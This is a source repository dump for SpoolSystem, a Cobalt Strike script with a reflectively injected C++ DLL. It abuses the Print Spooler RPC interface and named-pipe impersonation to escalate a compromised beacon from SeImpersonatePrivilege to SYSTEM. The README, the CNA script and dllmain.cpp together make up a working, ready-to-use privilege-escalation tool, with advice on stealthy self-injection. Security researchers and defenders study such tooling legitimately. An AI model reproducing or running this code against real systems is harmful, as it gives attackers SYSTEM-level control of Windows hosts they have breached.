├── spoolsystem.gif
├── cna
├── bin
│ ├── SpoolTrigger.x64.dll
│ └── SpoolTrigger.x86.dll
└── spoolsystem.cna
├── Readme.md
├── SpoolTrigger.sln
├── SpoolTrigger
├── SpoolTrigger.vcxproj.filters
├── patch.h
├── ReflectiveDllInjection.h
├── ms-rprn.idl
├── dllmain.cpp
├── ReflectiveLoader.h
├── SpoolTrigger.vcxproj
├── ReflectiveLoader.cpp
└── ms-rprn_s.c
└── .gitignore
/spoolsystem.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/rxwx/spoolsystem/HEAD/spoolsystem.gif
--------------------------------------------------------------------------------
/cna/bin/SpoolTrigger.x64.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/rxwx/spoolsystem/HEAD/cna/bin/SpoolTrigger.x64.dll
--------------------------------------------------------------------------------
/cna/bin/SpoolTrigger.x86.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/rxwx/spoolsystem/HEAD/cna/bin/SpoolTrigger.x86.dll
--------------------------------------------------------------------------------
/Readme.md:
--------------------------------------------------------------------------------
1 | # SpoolSystem
2 |
3 | SpoolSystem is a CNA script for Cobalt Strike which uses @itm4n's Print Spooler named pipe impersonation trick to gain SYSTEM privileges without creating any new process or relying on cross-process shellcode injection (if the `selfinject` method is used).
4 |
5 | ## Running
6 |
7 | The script supports two modes:
8 |
9 | * selfinject: this is the one you probably want to use. It triggers the spoolss RPC method via self-injection within the current process. This is the best option for OPSEC, but ideally should be done in a process you don't mind crashing (just incase).
10 | * spawn: this uses `bdllspawn` to trigger the spoolss RPC method, so launches another process (not as good for OPSEC)
11 |
12 | Both modes allow a user with only `SeImpersonatePrivilege` to gain SYSTEM privileges within the current beacon session. This is useful if you have a privilege escalation that gives you `LOCAL SERVICE`, `NETWORK SERVICE` or similar, or for cases where `SeDebugPrivilege` has been removed. However it can also be used as a drop-in replacement for `getsystem`.
13 |
14 | ## Example
15 |
16 | 
17 |
18 | ## References
19 |
20 | * https://github.com/itm4n/PrintSpoofer
21 | * https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/
22 | * https://github.com/leechristensen/SpoolSample
23 |
--------------------------------------------------------------------------------
/SpoolTrigger.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.29709.97
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SpoolTrigger", "SpoolTrigger\SpoolTrigger.vcxproj", "{80A14EC7-7999-4828-8C48-13CDA7853E29}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {80A14EC7-7999-4828-8C48-13CDA7853E29}.Debug|x64.ActiveCfg = Debug|x64
17 | {80A14EC7-7999-4828-8C48-13CDA7853E29}.Debug|x64.Build.0 = Debug|x64
18 | {80A14EC7-7999-4828-8C48-13CDA7853E29}.Debug|x86.ActiveCfg = Debug|Win32
19 | {80A14EC7-7999-4828-8C48-13CDA7853E29}.Debug|x86.Build.0 = Debug|Win32
20 | {80A14EC7-7999-4828-8C48-13CDA7853E29}.Release|x64.ActiveCfg = Release|x64
21 | {80A14EC7-7999-4828-8C48-13CDA7853E29}.Release|x64.Build.0 = Release|x64
22 | {80A14EC7-7999-4828-8C48-13CDA7853E29}.Release|x86.ActiveCfg = Release|Win32
23 | {80A14EC7-7999-4828-8C48-13CDA7853E29}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {8623D52A-9314-4C3F-9B7D-538D9B813931}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/SpoolTrigger/SpoolTrigger.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 | Header Files
23 |
24 |
25 | Header Files
26 |
27 |
28 | Header Files
29 |
30 |
31 |
32 |
33 | Source Files
34 |
35 |
36 | Source Files
37 |
38 |
39 | Source Files
40 |
41 |
42 |
43 |
44 | Source Files
45 |
46 |
47 |
--------------------------------------------------------------------------------
/SpoolTrigger/patch.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | volatile char patchme[1024] = "PATCHME\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";
--------------------------------------------------------------------------------
/SpoolTrigger/ReflectiveDllInjection.h:
--------------------------------------------------------------------------------
1 | //===============================================================================================//
2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
3 | // All rights reserved.
4 | //
5 | // Redistribution and use in source and binary forms, with or without modification, are permitted
6 | // provided that the following conditions are met:
7 | //
8 | // * Redistributions of source code must retain the above copyright notice, this list of
9 | // conditions and the following disclaimer.
10 | //
11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of
12 | // conditions and the following disclaimer in the documentation and/or other materials provided
13 | // with the distribution.
14 | //
15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to
16 | // endorse or promote products derived from this software without specific prior written permission.
17 | //
18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
26 | // POSSIBILITY OF SUCH DAMAGE.
27 | //===============================================================================================//
28 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
29 | #define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
30 | //===============================================================================================//
31 | #define WIN32_LEAN_AND_MEAN
32 | #include
33 |
34 | // we declare some common stuff in here...
35 |
36 | #define DLL_QUERY_HMODULE 6
37 |
38 | #define DEREF( name )*(UINT_PTR *)(name)
39 | #define DEREF_64( name )*(DWORD64 *)(name)
40 | #define DEREF_32( name )*(DWORD *)(name)
41 | #define DEREF_16( name )*(WORD *)(name)
42 | #define DEREF_8( name )*(BYTE *)(name)
43 |
44 | typedef ULONG_PTR(WINAPI* REFLECTIVELOADER)(VOID);
45 | typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID);
46 |
47 | #define DLLEXPORT __declspec( dllexport )
48 |
49 | //===============================================================================================//
50 | #endif
51 | //===============================================================================================//
52 |
--------------------------------------------------------------------------------
/cna/spoolsystem.cna:
--------------------------------------------------------------------------------
1 | import common.CommonUtils;
2 | import beacon.CommandBuilder;
3 | import common.ReflectiveDLL;
4 |
5 | sub SpoolTrigger {
6 | local('$bid $pipename $spawn $offset $padding $patched $dllbytes $file $builder $pid $pipenameW');
7 | $bid = $1;
8 | $pipename = $2;
9 | $method = $3;
10 |
11 | if ($method eq "spawn") {
12 | # this is to avoid cross-arch injection where possible
13 | if(binfo($bid, 'barch') eq 'x64') {
14 | bdllspawn($1, script_resource("bin/SpoolTrigger.x64.dll"), $pipename, "spooltrigger", 5000, true);
15 | }
16 | else {
17 | bdllspawn($1, script_resource("bin/SpoolTrigger.x86.dll"), $pipename, "spooltrigger", 5000, true);
18 | }
19 | }
20 | else {
21 | # patch and self-inject..
22 | # first we need to patch up our arguments
23 | # we use internal APIs since bdllinject wants a filepath not bytes
24 | if(binfo($bid, 'barch') eq 'x64') {
25 | $file = script_resource("bin/SpoolTrigger.x64.dll");
26 | }
27 | else {
28 | $file = script_resource("bin/SpoolTrigger.x86.dll");
29 | }
30 |
31 | $dllbytes = [CommonUtils readFile: $file];
32 | $padding = [CommonUtils garbage: "PATCHME"];
33 | $patched = [CommonUtils patch: $dllbytes, "PATCHME", $padding . $pipename];
34 | $offset = [ReflectiveDLL findReflectiveLoader: $dllbytes];
35 |
36 | if($offset <= 0) {
37 | berror($1, "Could not find ReflectiveLoader");
38 | return;
39 | }
40 |
41 | $pid = binfo($bid, 'pid');
42 | blog($bid, "Injecting spooltrigger into PID: " . $pid);
43 | $builder = [new CommandBuilder];
44 | if ([ReflectiveDLL is64: $dllbytes]) {
45 | [$builder setCommand: 43];
46 | } else {
47 | [$builder setCommand: 9];
48 | }
49 | [$builder addInteger: parseNumber($pid)];
50 | [$builder addInteger: $offset];
51 | [$builder addString: [CommonUtils bString: $patched]];
52 | call("beacons.task", $null, $bid, cast([$builder build], 'b'));
53 | }
54 | }
55 |
56 | sub SpoolSystem {
57 | local('$mypipe $pipename $builder')
58 | # needed for ImpersonateNamedPipeClient
59 | btask($1, "Tasked beacon to get SYSTEM via spoolss", "T1134");
60 | bgetprivs($1, "SeImpersonatePrivilege");
61 |
62 | # fire up a named pipe: (you probably want to rename this)
63 | $mypipe = [CommonUtils garbage: "spooltrigger"];
64 | $pipename = "\\\\.\\pipe\\" . $mypipe . "\\pipe\\spoolss";
65 | $builder = [new CommandBuilder];
66 | [$builder setCommand: 60];
67 | [$builder addString: $pipename];
68 | call("beacons.task", $null, $1, cast([$builder build], 'b'));
69 |
70 | # trigger spoolss
71 | SpoolTrigger($1, $mypipe, $2);
72 |
73 | # impersonate the named pipe client
74 | [$builder setCommand: 61];
75 | call("beacons.task", $null, $1, cast([$builder build], 'b'));
76 | }
77 |
78 | beacon_command_register("spoolsystem", "Gets SYSTEM via spoolss",
79 | "Uses named pipe impersonation to gain SYSTEM via Print Spooler.\n\n" .
80 | "Use: spoolsystem \n\n" .
81 | "Example: spoolsystem selfinject\n" .
82 | "Example: spoolsystem spawn" );
83 |
84 | alias spoolsystem {
85 | local('$args');
86 | $args = substr($0, strlen("spoolsystem "));
87 |
88 | if ($args eq "") {
89 | berror($1, "Please specify an execution method.");
90 | return;
91 | }
92 | SpoolSystem($1, $args);
93 | }
--------------------------------------------------------------------------------
/SpoolTrigger/ms-rprn.idl:
--------------------------------------------------------------------------------
1 | // https://github.com/leechristensen/SpoolSample/blob/master/MS-RPRN/ms-rprn.idl
2 | // [MS-RPRN] interface
3 | [
4 | uuid(12345678-1234-ABCD-EF00-0123456789AB),
5 | version(1.0),
6 | ms_union,
7 | endpoint("ncacn_np:[\\pipe\\spoolss]"),
8 | pointer_default(unique)
9 | ]
10 |
11 | interface winspool {
12 |
13 | import "oaidl.idl";
14 |
15 | #if __midl < 700
16 | #define disable_consistency_check
17 | #endif
18 | // [MS-RPRN] common info container structures
19 | typedef struct _DEVMODE_CONTAINER {
20 | DWORD cbBuf;
21 | [size_is(cbBuf), unique] BYTE* pDevMode;
22 | } DEVMODE_CONTAINER;
23 |
24 | typedef struct _RPC_V2_NOTIFY_OPTIONS_TYPE {
25 | unsigned short Type;
26 | unsigned short Reserved0;
27 | DWORD Reserved1;
28 | DWORD Reserved2;
29 | DWORD Count;
30 | [size_is(Count), unique] unsigned short* pFields;
31 | } RPC_V2_NOTIFY_OPTIONS_TYPE;
32 |
33 | typedef struct _RPC_V2_NOTIFY_OPTIONS {
34 | DWORD Version;
35 | DWORD Reserved;
36 | DWORD Count;
37 | [size_is(Count), unique] RPC_V2_NOTIFY_OPTIONS_TYPE* pTypes;
38 | } RPC_V2_NOTIFY_OPTIONS;
39 |
40 | // [MS-RPRN] common data types
41 | typedef unsigned short LANGID;
42 | typedef [context_handle] void* GDI_HANDLE;
43 | typedef [context_handle] void* PRINTER_HANDLE;
44 | typedef [handle] wchar_t* STRING_HANDLE;
45 |
46 | // [MS-RPRN] methods
47 | DWORD RpcEnumPrinters();
48 | DWORD RpcOpenPrinter(
49 | [in, string, unique] STRING_HANDLE pPrinterName,
50 | [out] PRINTER_HANDLE* pHandle,
51 | [in, string, unique] wchar_t* pDatatype,
52 | [in] DEVMODE_CONTAINER* pDevModeContainer,
53 | [in] DWORD AccessRequired
54 | );
55 | DWORD RpcSetJob();
56 | DWORD RpcGetJob();
57 | DWORD RpcEnumJobs();
58 | DWORD RpcAddPrinter();
59 | DWORD RpcDeletePrinter();
60 | DWORD RpcSetPrinter();
61 | DWORD RpcGetPrinter();
62 | DWORD RpcAddPrinterDriver();
63 | DWORD RpcEnumPrinterDrivers();
64 | DWORD RpcGetPrinterDriver();
65 | DWORD RpcGetPrinterDriverDirectory();
66 | DWORD RpcDeletePrinterDriver();
67 | DWORD RpcAddPrintProcessor();
68 | DWORD RpcEnumPrintProcessors();
69 | DWORD RpcGetPrintProcessorDirectory();
70 | DWORD RpcStartDocPrinter();
71 | DWORD RpcStartPagePrinter();
72 | DWORD RpcWritePrinter();
73 | DWORD RpcEndPagePrinter();
74 | DWORD RpcAbortPrinter();
75 | DWORD RpcReadPrinter();
76 | DWORD RpcEndDocPrinter();
77 | DWORD RpcAddJob();
78 | DWORD RpcScheduleJob();
79 | DWORD RpcGetPrinterData();
80 | DWORD RpcSetPrinterData();
81 | DWORD RpcWaitForPrinterChange();
82 | DWORD RpcClosePrinter(
83 | [in, out] PRINTER_HANDLE* phPrinter
84 | );
85 | DWORD RpcAddForm();
86 | DWORD RpcDeleteForm();
87 | DWORD RpcGetForm();
88 | DWORD RpcSetForm();
89 | DWORD RpcEnumForms();
90 | DWORD RpcEnumPorts();
91 | DWORD RpcEnumMonitors();
92 | void Opnum37NotUsedOnWire();
93 | void Opnum38NotUsedOnWire();
94 | DWORD RpcDeletePort();
95 | DWORD RpcCreatePrinterIC();
96 | DWORD RpcPlayGdiScriptOnPrinterIC();
97 | DWORD RpcDeletePrinterIC();
98 | void Opnum43NotUsedOnWire();
99 | void Opnum44NotUsedOnWire();
100 | void Opnum45NotUsedOnWire();
101 | DWORD RpcAddMonitor();
102 | DWORD RpcDeleteMonitor();
103 | DWORD RpcDeletePrintProcessor();
104 | void Opnum49NotUsedOnWire();
105 | void Opnum50NotUsedOnWire();
106 | DWORD RpcEnumPrintProcessorDatatypes();
107 | DWORD RpcResetPrinter();
108 | DWORD RpcGetPrinterDriver2();
109 | void Opnum54NotUsedOnWire();
110 | void Opnum55NotUsedOnWire();
111 | DWORD RpcFindClosePrinterChangeNotification();
112 | void Opnum57NotUsedOnWire();
113 | DWORD RpcReplyOpenPrinter();
114 | DWORD RpcRouterReplyPrinter();
115 | DWORD RpcReplyClosePrinter();
116 | DWORD RpcAddPortEx();
117 | DWORD RpcRemoteFindFirstPrinterChangeNotification();
118 | void Opnum63NotUsedOnWire();
119 | void Opnum64NotUsedOnWire();
120 | DWORD RpcRemoteFindFirstPrinterChangeNotificationEx(
121 | [in] PRINTER_HANDLE hPrinter,
122 | [in] DWORD fdwFlags,
123 | [in] DWORD fdwOptions,
124 | [in, string, unique] wchar_t* pszLocalMachine,
125 | [in] DWORD dwPrinterLocal,
126 | [in, unique] RPC_V2_NOTIFY_OPTIONS* pOptions
127 | );
128 | }
--------------------------------------------------------------------------------
/SpoolTrigger/dllmain.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include "ms-rprn_h.h"
5 | #include "ReflectiveLoader.h"
6 | #include "patch.h"
7 |
8 | #include
9 | #include
10 | #include
11 |
12 | #pragma comment(lib, "rpcrt4.lib")
13 |
14 | extern HINSTANCE hAppInstance;
15 |
16 | // https://github.com/itm4n/PrintSpoofer/blob/master/PrintSpoofer/PrintSpoofer.cpp
17 | DWORD WINAPI TriggerNamedPipeConnection(LPWSTR lpParam)
18 | {
19 | HRESULT hr = NULL;
20 | PRINTER_HANDLE hPrinter = NULL;
21 | DEVMODE_CONTAINER devmodeContainer = { 0 };
22 |
23 | LPWSTR pwszComputerName = NULL;
24 | DWORD dwComputerNameLen = MAX_COMPUTERNAME_LENGTH + 1;
25 |
26 | LPWSTR pwszTargetServer = NULL;
27 | LPWSTR pwszCaptureServer = NULL;
28 |
29 | LPWSTR pwszPipeName = lpParam;
30 |
31 | pwszComputerName = (LPWSTR)malloc(dwComputerNameLen * sizeof(WCHAR));
32 | if (!pwszComputerName)
33 | goto cleanup;
34 |
35 | if (!GetComputerName(pwszComputerName, &dwComputerNameLen))
36 | goto cleanup;
37 |
38 | pwszTargetServer = (LPWSTR)malloc(MAX_PATH * sizeof(WCHAR));
39 | if (!pwszTargetServer)
40 | goto cleanup;
41 |
42 | pwszCaptureServer = (LPWSTR)malloc(MAX_PATH * sizeof(WCHAR));
43 | if (!pwszCaptureServer)
44 | goto cleanup;
45 |
46 | StringCchPrintf(pwszTargetServer, MAX_PATH, L"\\\\%ws", pwszComputerName);
47 | StringCchPrintf(pwszCaptureServer, MAX_PATH, L"\\\\%ws/pipe/%ws", pwszComputerName, pwszPipeName);
48 |
49 | RpcTryExcept
50 | {
51 | if (RpcOpenPrinter(pwszTargetServer, &hPrinter, NULL, &devmodeContainer, 0) == RPC_S_OK)
52 | {
53 | RpcRemoteFindFirstPrinterChangeNotificationEx(hPrinter, PRINTER_CHANGE_ADD_JOB, 0, pwszCaptureServer, 0, NULL);
54 | RpcClosePrinter(&hPrinter);
55 | wprintf(L"[+] Triggered named pipe connection to %ls\n", pwszCaptureServer);
56 | }
57 | }
58 | RpcExcept(EXCEPTION_EXECUTE_HANDLER);
59 | {
60 | // Expect RPC_S_SERVER_UNAVAILABLE
61 | }
62 | RpcEndExcept;
63 |
64 | cleanup:
65 | if (pwszComputerName)
66 | free(pwszComputerName);
67 | if (pwszTargetServer)
68 | free(pwszTargetServer);
69 | if (pwszCaptureServer)
70 | free(pwszCaptureServer);
71 | if (hPrinter)
72 | RpcClosePrinter(&hPrinter);
73 |
74 | return 0;
75 | }
76 |
77 | handle_t __RPC_USER STRING_HANDLE_bind(STRING_HANDLE lpStr)
78 | {
79 | RPC_STATUS RpcStatus;
80 | RPC_WSTR StringBinding;
81 | handle_t BindingHandle;
82 |
83 | if (RpcStringBindingComposeW((RPC_WSTR)L"12345678-1234-ABCD-EF00-0123456789AB", (RPC_WSTR)L"ncacn_np", (RPC_WSTR)lpStr, (RPC_WSTR)L"\\pipe\\spoolss", NULL, &StringBinding) != RPC_S_OK)
84 | return NULL;
85 |
86 | RpcStatus = RpcBindingFromStringBindingW(StringBinding, &BindingHandle);
87 |
88 | RpcStringFreeW(&StringBinding);
89 |
90 | if (RpcStatus != RPC_S_OK)
91 | return NULL;
92 |
93 | return BindingHandle;
94 | }
95 |
96 | void __RPC_USER STRING_HANDLE_unbind(STRING_HANDLE lpStr, handle_t BindingHandle)
97 | {
98 | RpcBindingFree(&BindingHandle);
99 | }
100 |
101 | void __RPC_FAR* __RPC_USER midl_user_allocate(size_t cBytes)
102 | {
103 | return((void __RPC_FAR*) malloc(cBytes));
104 | }
105 |
106 | void __RPC_USER midl_user_free(void __RPC_FAR* p)
107 | {
108 | free(p);
109 | }
110 |
111 | BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
112 | {
113 | BOOL bReturnValue = TRUE;
114 | LPWSTR pwszParams = NULL;
115 | size_t convertedChars = 0;
116 | size_t newsize = 0;
117 | char* args = NULL;
118 |
119 | switch (dwReason)
120 | {
121 | case DLL_QUERY_HMODULE:
122 | if (lpReserved != NULL)
123 | *(HMODULE*)lpReserved = hAppInstance;
124 | break;
125 | case DLL_PROCESS_ATTACH:
126 | hAppInstance = hinstDLL;
127 | if (lpReserved != NULL) {
128 | // Process arguments
129 | pwszParams = (LPWSTR)calloc(strlen((LPSTR)lpReserved) + 1, sizeof(WCHAR));
130 | newsize = strlen((LPSTR)lpReserved) + 1;
131 | mbstowcs_s(&convertedChars, pwszParams, newsize, (LPSTR)lpReserved, _TRUNCATE);
132 | TriggerNamedPipeConnection(pwszParams);
133 | fflush(stdout);
134 | ExitProcess(0);
135 | }
136 | else {
137 | args = (char*)patchme + 7;
138 | if (args[0] != '\0') {
139 | // Load from patched args
140 | pwszParams = (LPWSTR)calloc(strlen((LPSTR)args) + 1, sizeof(WCHAR));
141 | newsize = strlen((LPSTR)args) + 1;
142 | mbstowcs_s(&convertedChars, pwszParams, newsize, (LPSTR)args, _TRUNCATE);
143 | TriggerNamedPipeConnection(pwszParams);
144 | }
145 | }
146 | break;
147 | case DLL_PROCESS_DETACH:
148 | case DLL_THREAD_ATTACH:
149 | case DLL_THREAD_DETACH:
150 | break;
151 | }
152 | return bReturnValue;
153 | }
154 |
155 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | ## Ignore Visual Studio temporary files, build results, and
2 | ## files generated by popular Visual Studio add-ons.
3 | ##
4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
5 |
6 | # User-specific files
7 | *.rsuser
8 | *.suo
9 | *.user
10 | *.userosscache
11 | *.sln.docstates
12 |
13 | # User-specific files (MonoDevelop/Xamarin Studio)
14 | *.userprefs
15 |
16 | # Build results
17 | [Dd]ebug/
18 | [Dd]ebugPublic/
19 | [Rr]elease/
20 | [Rr]eleases/
21 | x64/
22 | x86/
23 | [Aa][Rr][Mm]/
24 | [Aa][Rr][Mm]64/
25 | bld/
26 | [Bb]in/
27 | [Oo]bj/
28 | [Ll]og/
29 |
30 | # Visual Studio 2015/2017 cache/options directory
31 | .vs/
32 | # Uncomment if you have tasks that create the project's static files in wwwroot
33 | #wwwroot/
34 |
35 | # Visual Studio 2017 auto generated files
36 | Generated\ Files/
37 |
38 | # MSTest test Results
39 | [Tt]est[Rr]esult*/
40 | [Bb]uild[Ll]og.*
41 |
42 | # NUNIT
43 | *.VisualState.xml
44 | TestResult.xml
45 |
46 | # Build Results of an ATL Project
47 | [Dd]ebugPS/
48 | [Rr]eleasePS/
49 | dlldata.c
50 |
51 | # Benchmark Results
52 | BenchmarkDotNet.Artifacts/
53 |
54 | # .NET Core
55 | project.lock.json
56 | project.fragment.lock.json
57 | artifacts/
58 |
59 | # StyleCop
60 | StyleCopReport.xml
61 |
62 | # Files built by Visual Studio
63 | *_i.c
64 | *_p.c
65 | *_h.h
66 | *.ilk
67 | *.meta
68 | *.obj
69 | *.iobj
70 | *.pch
71 | *.pdb
72 | *.ipdb
73 | *.pgc
74 | *.pgd
75 | *.rsp
76 | *.sbr
77 | *.tlb
78 | *.tli
79 | *.tlh
80 | *.tmp
81 | *.tmp_proj
82 | *_wpftmp.csproj
83 | *.log
84 | *.vspscc
85 | *.vssscc
86 | .builds
87 | *.pidb
88 | *.svclog
89 | *.scc
90 |
91 | # Chutzpah Test files
92 | _Chutzpah*
93 |
94 | # Visual C++ cache files
95 | ipch/
96 | *.aps
97 | *.ncb
98 | *.opendb
99 | *.opensdf
100 | *.sdf
101 | *.cachefile
102 | *.VC.db
103 | *.VC.VC.opendb
104 |
105 | # Visual Studio profiler
106 | *.psess
107 | *.vsp
108 | *.vspx
109 | *.sap
110 |
111 | # Visual Studio Trace Files
112 | *.e2e
113 |
114 | # TFS 2012 Local Workspace
115 | $tf/
116 |
117 | # Guidance Automation Toolkit
118 | *.gpState
119 |
120 | # ReSharper is a .NET coding add-in
121 | _ReSharper*/
122 | *.[Rr]e[Ss]harper
123 | *.DotSettings.user
124 |
125 | # JustCode is a .NET coding add-in
126 | .JustCode
127 |
128 | # TeamCity is a build add-in
129 | _TeamCity*
130 |
131 | # DotCover is a Code Coverage Tool
132 | *.dotCover
133 |
134 | # AxoCover is a Code Coverage Tool
135 | .axoCover/*
136 | !.axoCover/settings.json
137 |
138 | # Visual Studio code coverage results
139 | *.coverage
140 | *.coveragexml
141 |
142 | # NCrunch
143 | _NCrunch_*
144 | .*crunch*.local.xml
145 | nCrunchTemp_*
146 |
147 | # MightyMoose
148 | *.mm.*
149 | AutoTest.Net/
150 |
151 | # Web workbench (sass)
152 | .sass-cache/
153 |
154 | # Installshield output folder
155 | [Ee]xpress/
156 |
157 | # DocProject is a documentation generator add-in
158 | DocProject/buildhelp/
159 | DocProject/Help/*.HxT
160 | DocProject/Help/*.HxC
161 | DocProject/Help/*.hhc
162 | DocProject/Help/*.hhk
163 | DocProject/Help/*.hhp
164 | DocProject/Help/Html2
165 | DocProject/Help/html
166 |
167 | # Click-Once directory
168 | publish/
169 |
170 | # Publish Web Output
171 | *.[Pp]ublish.xml
172 | *.azurePubxml
173 | # Note: Comment the next line if you want to checkin your web deploy settings,
174 | # but database connection strings (with potential passwords) will be unencrypted
175 | *.pubxml
